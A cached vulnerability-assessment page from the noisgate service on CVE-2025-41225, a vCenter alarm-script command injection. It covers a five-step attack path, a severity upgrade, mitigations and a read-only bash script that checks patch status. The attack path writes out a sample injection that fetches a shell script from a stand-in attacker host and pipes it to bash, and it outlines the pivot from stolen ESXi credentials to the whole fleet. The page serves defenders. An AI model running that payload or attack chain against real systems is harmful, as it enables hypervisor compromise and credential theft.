← Back to Feed CACHED · 2026-07-31 06:15:08 · CACHE_KEY CVE-2025-41225
CVE-2025-41225 · CWE-78 · Disclosed 2025-05-20

The vCenter Server contains an authenticated command-execution vulnerability.

ASSESSED — NOISGATE V0.5
Vendor
Reassessed
Verdict:
Do you agree?
01 · The Real Story

Someone left the intercom wired straight to the reactor control room, and anyone with a building badge can press the button

CVE-2025-41225 is an OS command-injection flaw (CWE-78) in VMware vCenter Server's alarm subsystem. Any authenticated vCenter user who holds the Alarm.Create or Alarm.Edit privilege — plus the ability to configure a *run-script* alarm action — can embed arbitrary operating-system commands in the script field. When the alarm fires, vCenter executes the payload in the context of the vpxd service user, which on unpatched versions has elevated OS-level access, including the ability to read the vCenter database where ESXi host credentials are stored. Affected versions: vCenter 8.0 < 8.0 U3e and vCenter 7.0 < 7.0 U3v, plus VMware Cloud Foundation 5.x/4.5.x and Telco Cloud Platform/Infrastructure variants.

VMware (Broadcom) rates this Important / 8.8 HIGH, but that label under-weights the deployment context. Every single vCenter instance is, by definition, the management plane for an entire VMware estate — it holds credentials for every ESXi host, controls VM lifecycle, and sits at the top of the vSphere trust hierarchy. The vendor CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U) correctly notes network-reachable, low-privilege, no-interaction exploitation, yet scores Scope as Unchanged. In practice, an attacker who pops vCenter pivots to every ESXi host underneath it — that is a scope change to fleet-scale compromise. The vendor severity is too low for a component of this criticality.

"vCenter alarm injection gives OS command exec on the fleet's brain — upgraded to CRITICAL."
02 · The Attack Path

5 steps from start to impact.

STEP 01

Authenticate to vCenter

The attacker obtains valid credentials for a vCenter user account that has Alarm.Create or Alarm.Edit plus Alarm.SetStatus privileges. These privileges are included in the default Administrator role but can also be delegated to custom roles. SSO accounts, LDAP-integrated accounts, or compromised service accounts all qualify.
Conditions required:
  • Valid vCenter SSO or LDAP credentials
  • User role includes alarm-management privileges
Where this breaks in practice:
  • vCenter access is typically restricted to infrastructure admins — small user population
  • MFA on vCenter SSO (if configured) blocks credential-stuffing
Detection/coverage: Failed login attempts visible in /var/log/vmware/sso/ssoAdminServer.log; brute-force detection via SIEM correlation on vCenter auth events.
STEP 02

Create or modify alarm with injected script action

The attacker crafts an alarm definition whose *run-script* action contains injected OS commands — e.g., ; curl attacker.com/shell.sh | bash. The injection occurs because vCenter passes the script field to the OS shell without adequate sanitization. No special encoding or race condition is needed; the payload is a plain shell metacharacter injection.
Conditions required:
  • Alarm privilege confirmed in step 1
  • Network access to vCenter HTTPS management interface (443/tcp)
Where this breaks in practice:
  • vCenter 8.0 U3e and 7.0 U3v patched the execution context to a restricted alarms_script user, neutering the impact
  • Audit trail: alarm creation/modification is logged in vpxd events and visible in the vSphere Client recent tasks
Detection/coverage: Monitor vpxd-profiler.log and vSphere events for alarm create/edit operations; SIEM rule on vim.alarm.AlarmManager API calls.
STEP 03

Trigger the alarm condition

The attacker triggers the alarm's condition — e.g., by spiking CPU on a VM, changing a datastore threshold, or simply setting the alarm to a condition that immediately fires. Once the alarm transitions, the script action executes on the vCenter appliance.
Conditions required:
  • Alarm successfully created in step 2
  • Ability to influence a metric that triggers the alarm (trivial for most alarm types)
Where this breaks in practice:
  • Some alarm conditions require interaction with managed objects the attacker may not control
  • Alarm firing generates an event visible to all vCenter administrators
Detection/coverage: Alarm state-change events in vCenter; process-execution monitoring on VCSA (auditd, Falco, or EDR agent).
STEP 04

Command execution as vpxd

The injected command executes in the context of the vpxd service account on the VCSA appliance. This user has read access to the vCenter Postgres database (VCDB), which stores encrypted ESXi host credentials, SSO tokens, and cluster configuration. The attacker can decrypt host credentials using keys accessible to vpxd, then SSH to every managed ESXi host.
Conditions required:
  • Unpatched vCenter (pre-8.0 U3e / pre-7.0 U3v)
  • vpxd user retains elevated privileges (default on unpatched)
Where this breaks in practice:
  • If the VCSA has been hardened with a host-based firewall blocking outbound connections, C2 callbacks may fail
  • EDR on VCSA (rare but possible) would flag anomalous child processes under vpxd
Detection/coverage: Process tree anomalies under vpxd PID; outbound network connections from VCSA to unusual destinations; Postgres query audit logs.
STEP 05

Pivot to ESXi hosts and full fleet compromise

With decrypted ESXi root credentials from the VCDB, the attacker logs into every managed ESXi host. From there they can access VM disks (VMDK), deploy ransomware to hypervisor-level, exfiltrate data from VM memory, or shut down the entire environment. This is the canonical vSphere kill chain used by ransomware groups (e.g., BlackCat/ALPHV, Royal, Play).
Conditions required:
  • ESXi host credentials recovered from VCDB
  • SSH or DCUI access to ESXi hosts enabled (common)
Where this breaks in practice:
  • Lockdown Mode on ESXi hosts prevents direct SSH access
  • Network segmentation between vCenter management VLAN and ESXi management interfaces can slow lateral movement
Detection/coverage: ESXi SSH login events (/var/log/auth.log); GreyNoise/Shodan won't see this if internal; SIEM correlation on bulk ESXi authentication events.
03 · Intelligence Metadata

The supporting signals.

In-the-Wild ExploitationNot observed. No reports from Mandiant, CrowdStrike, or CISA as of 2026-07-31. Not listed in CISA KEV.
Proof-of-ConceptNo public PoC. No exploit code found on GitHub, Exploit-DB, or in researcher disclosures. The attack is conceptually simple (shell metacharacter injection in alarm script field), so weaponization is trivial for anyone who reads the advisory.
EPSS0.00229 (approximately 77th percentile) — low predicted exploitation probability, consistent with the authentication requirement.
KEV StatusNot listed as of 2026-07-31.
CVSS VectorVendor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8. Network-reachable, low-privilege, no interaction. Scope marked Unchanged is debatable given vCenter's role as fleet management plane.
Affected VersionsvCenter Server 8.0 (all builds before 8.0 U3e), 7.0 (all builds before 7.0 U3v). Also: VMware Cloud Foundation 5.x and 4.5.x, Telco Cloud Platform 2.x–5.x, Telco Cloud Infrastructure 2.x–3.x.
Fixed VersionsvCenter 8.0 U3e and 7.0 U3v. Cloud Foundation: async patch to same builds. Fix introduces a sandboxed alarms_script OS user with minimal privileges.
Scanning / ExposureShodan shows ~840 vCenter instances directly internet-reachable (2026 data). The vast majority of the estimated 500,000+ global vCenter deployments are internal-only, reachable post-initial-access.
Disclosure Date2025-05-20 via VMSA-2025-0010.
Researcher / ReporterNot publicly attributed. Credited to Broadcom internal discovery.
04 · The Call

noisgate verdict.

Final Verdict
UPGRADED to CRITICAL (9.1/10)

Role multiplier — vCenter Server is the hypervisor management plane; command execution here chains directly to ESXi host credential theft and fleet-wide VM compromise. Every vCenter instance is canonically a high-value target (100% of installs occupy the orchestration role), and the vpxd execution context on unpatched builds provides the keys to the entire vSphere kingdom — making the vendor's HIGH/8.8 rating insufficient for the actual blast radius.

HIGH Vulnerability mechanics and affected versions
HIGH Blast radius assessment (vCenter → ESXi fleet)
MEDIUM Exploitation likelihood (no PoC or ITW activity observed, but trivial to weaponize)

Why this verdict

  • Authentication friction is real but bounded: PR:L means a vCenter user with alarm privileges, not a domain admin. In most orgs this is a population of 5–50 infra admins, but compromising one AD-integrated account via phishing or credential stuffing gets an attacker in.
  • Role multiplier (decisive upgrade factor): vCenter Server is *the* hypervisor orchestration plane. 100% of installs are high-value by definition. The vpxd execution context can decrypt ESXi host credentials from the VCDB, enabling pivot to every managed hypervisor — blast radius is fleet-scale. Per the role-multiplier floor rule, this sets a CRITICAL floor that friction alone cannot override.
  • No scope boundary in practice: The vendor CVSS marks Scope as Unchanged (S:U), but real-world impact crosses from vCenter OS → vCenter DB → ESXi hosts → all VMs. The effective scope change justifies the upgrade from 8.8 to 9.1.
  • Weaponization trivial, PoC irrelevant: The injection is a basic shell metacharacter in a text field passed to os.system() or equivalent. Any red teamer who reads the advisory can reproduce it in an afternoon. The absence of a public PoC is a temporary speed bump, not a durable friction point.
  • Exposure surface is internal but that's expected: Only ~840 vCenter instances face the internet; the other 500K+ are behind the perimeter. This does NOT reduce severity because vCenter is an *internal* target by design — post-initial-access attackers (ransomware operators) specifically hunt for it.

Why not higher?

A 9.1 already sits at the high end of CRITICAL. The score is not 10.0 because the vulnerability requires authentication with specific alarm privileges (not unauthenticated RCE), which eliminates opportunistic mass-scanning as an attack vector. The vpxd user, while powerful, is not root — some OS-level actions still require privilege escalation on the VCSA appliance itself.

Why not lower?

Downgrading below CRITICAL would require evidence that a meaningful fraction of vCenter installs are NOT high-value targets — but by definition, every vCenter instance manages an ESXi fleet. The authentication requirement narrows *who* can exploit it but does not reduce *what happens when they do*. Ransomware groups (ALPHV, Royal, Play) have repeatedly demonstrated the vCenter-to-ESXi kill chain in real incidents; this CVE hands them a new entry point into that chain. The absence of a public PoC is immaterial for a shell-injection bug this simple.

05 · Compensating Control

What to do — in priority order.

  1. Restrict alarm privileges to break-glass accounts only — Remove Alarm.Create, Alarm.Edit, and all script-action privileges from every vCenter role except a dedicated break-glass admin account. This eliminates the attack surface entirely without patching. Deploy within 3 days per the noisgate mitigation SLA for CRITICAL findings.
  2. Enable vCenter SSO MFA — Enforce multi-factor authentication on all vCenter SSO accounts to prevent credential-based access. This blocks the most likely initial access vector (compromised AD/LDAP credentials). Deploy within 3 days.
  3. Monitor alarm creation and script-action events — Create a SIEM detection rule that alerts on vim.alarm.AlarmManager.create and vim.alarm.AlarmManager.reconfigure API calls, especially those containing script actions. This provides visibility while patching is underway.
  4. Enable ESXi Lockdown Mode — Place all managed ESXi hosts into Normal or Strict Lockdown Mode. This prevents the post-exploitation pivot from vCenter credential theft to ESXi SSH access, breaking the kill chain at step 5.
  5. Network-segment VCSA management interface — Ensure the vCenter management interface (443/tcp) is only reachable from a dedicated admin jump host or PAW (Privileged Access Workstation). This reduces the population of hosts from which the attack can be launched.
What doesn't work
  • WAF/IPS in front of vCenter — the injection payload travels inside a legitimate vSphere API call (SOAP/REST) to create an alarm. Signature-based IPS cannot distinguish a malicious alarm script field from a legitimate one without deep vSphere protocol inspection, which no commercial IPS supports.
  • Disabling alarms entirely — vCenter does not support disabling the alarm subsystem globally. You can delete all existing alarms but cannot prevent privileged users from creating new ones without revoking the privilege itself.
  • VCSA firewall rules blocking outbound traffic — this limits C2 callback but does not prevent the command execution itself. The attacker can still read the VCDB and exfiltrate credentials through the existing vCenter API session.
06 · Verification

Crowdsourced verification payload.

Run this script on the VCSA appliance itself via SSH as root. Example: ssh [email protected] 'bash -s' < check_cve_2025_41225.sh. Requires root SSH access to the VCSA.

noisgate-verify.sh
BASHREAD-ONLYSAFE
#!/bin/bash
# check_cve_2025_41225.sh
# Checks whether vCenter Server is patched against CVE-2025-41225
# (Authenticated command-execution via alarm script actions)
# Run on VCSA appliance as root.
# Exit codes: 0 = PATCHED, 1 = VULNERABLE, 2 = UNKNOWN

set -euo pipefail

VULN_ID="CVE-2025-41225"

# Get vCenter build info from vpxd
if ! command -v vpxd &>/dev/null; then
  echo "[$VULN_ID] UNKNOWN — vpxd binary not found. Is this a VCSA appliance?"
  exit 2
fi

VERSION=$(vpxd -v 2>/dev/null | grep -oP '\d+\.\d+\.\d+' | head -1)
BUILD=$(vpxd -v 2>/dev/null | grep -oP 'build-\K\d+' | head -1)

if [ -z "$VERSION" ] || [ -z "$BUILD" ]; then
  # Fallback: check /etc/vmware/.buildInfo or rpm
  VERSION=$(cat /etc/vmware/.buildInfo 2>/dev/null | grep -oP 'VMware vCenter Server \K[\d.]+' | head -1)
  BUILD=$(rpm -qa | grep vcenter | head -1 | grep -oP '[\d]+$')
fi

if [ -z "$VERSION" ]; then
  echo "[$VULN_ID] UNKNOWN — could not determine vCenter version."
  exit 2
fi

echo "[$VULN_ID] Detected vCenter version: $VERSION (build $BUILD)"

# Check for the alarms_script user (introduced in the fix)
if id alarms_script &>/dev/null; then
  echo "[$VULN_ID] PATCHED — 'alarms_script' service user exists."
  echo "Alarm scripts execute in sandboxed context (8.0 U3e / 7.0 U3v or later)."
  exit 0
fi

# Secondary check: version comparison
MAJOR=$(echo "$VERSION" | cut -d. -f1)
MINOR=$(echo "$VERSION" | cut -d. -f2)

if [ "$MAJOR" -eq 8 ] && [ "$MINOR" -eq 0 ]; then
  # 8.0 U3e fixed — build threshold approximate
  echo "[$VULN_ID] VULNERABLE — vCenter 8.0 without alarms_script user."
  echo "Upgrade to vCenter 8.0 U3e or later."
  exit 1
elif [ "$MAJOR" -eq 7 ] && [ "$MINOR" -eq 0 ]; then
  echo "[$VULN_ID] VULNERABLE — vCenter 7.0 without alarms_script user."
  echo "Upgrade to vCenter 7.0 U3v or later."
  exit 1
elif [ "$MAJOR" -lt 7 ]; then
  echo "[$VULN_ID] VULNERABLE — vCenter $VERSION is end-of-life and unpatched."
  exit 1
else
  echo "[$VULN_ID] UNKNOWN — unexpected version $VERSION. Verify manually."
  exit 2
fi
07 · Bottom Line

If you remember one thing.

TL;DR
Monday morning: revoke alarm script-action privileges from all vCenter roles except break-glass accounts — this is your 3-day mitigation under the noisgate mitigation SLA for CRITICAL findings. Then schedule the actual patch (vCenter 8.0 U3e or 7.0 U3v) within the 90-day noisgate remediation SLA. In parallel, enable ESXi Lockdown Mode on all managed hosts to sever the post-exploitation pivot chain, and deploy a SIEM rule on alarm-management API calls for detection coverage. If you are still running vCenter 6.x, you are end-of-life and unpatched — treat this as an emergency migration. No public PoC exists today, but the injection is trivially reproducible by anyone who reads the advisory, so do not wait for exploitation to appear in the wild.

Sources

  1. VMSA-2025-0010 — Broadcom Security Advisory
  2. Broadcom KB — Alarm script execution context change in 8.0 U3e / 7.0 U3v
  3. NSFOCUS — VMware vCenter Server Command Execution Vulnerability
  4. GitHub Advisory Database — GHSA-2687-xwfr-5fx9
  5. Canadian Centre for Cyber Security — AV25-286
  6. IBM Support — Cloud Pak System advisory for CVE-2025-41225
  7. Tenable — CVE-2025-41225
Peer Review

What defenders are saying.

Submit a review attribution: handle + country only
0 flags selected · stored anonymously
Validation Results

Crowdsourced verification outputs.

Results submitted by users who ran the verification payload against their environment.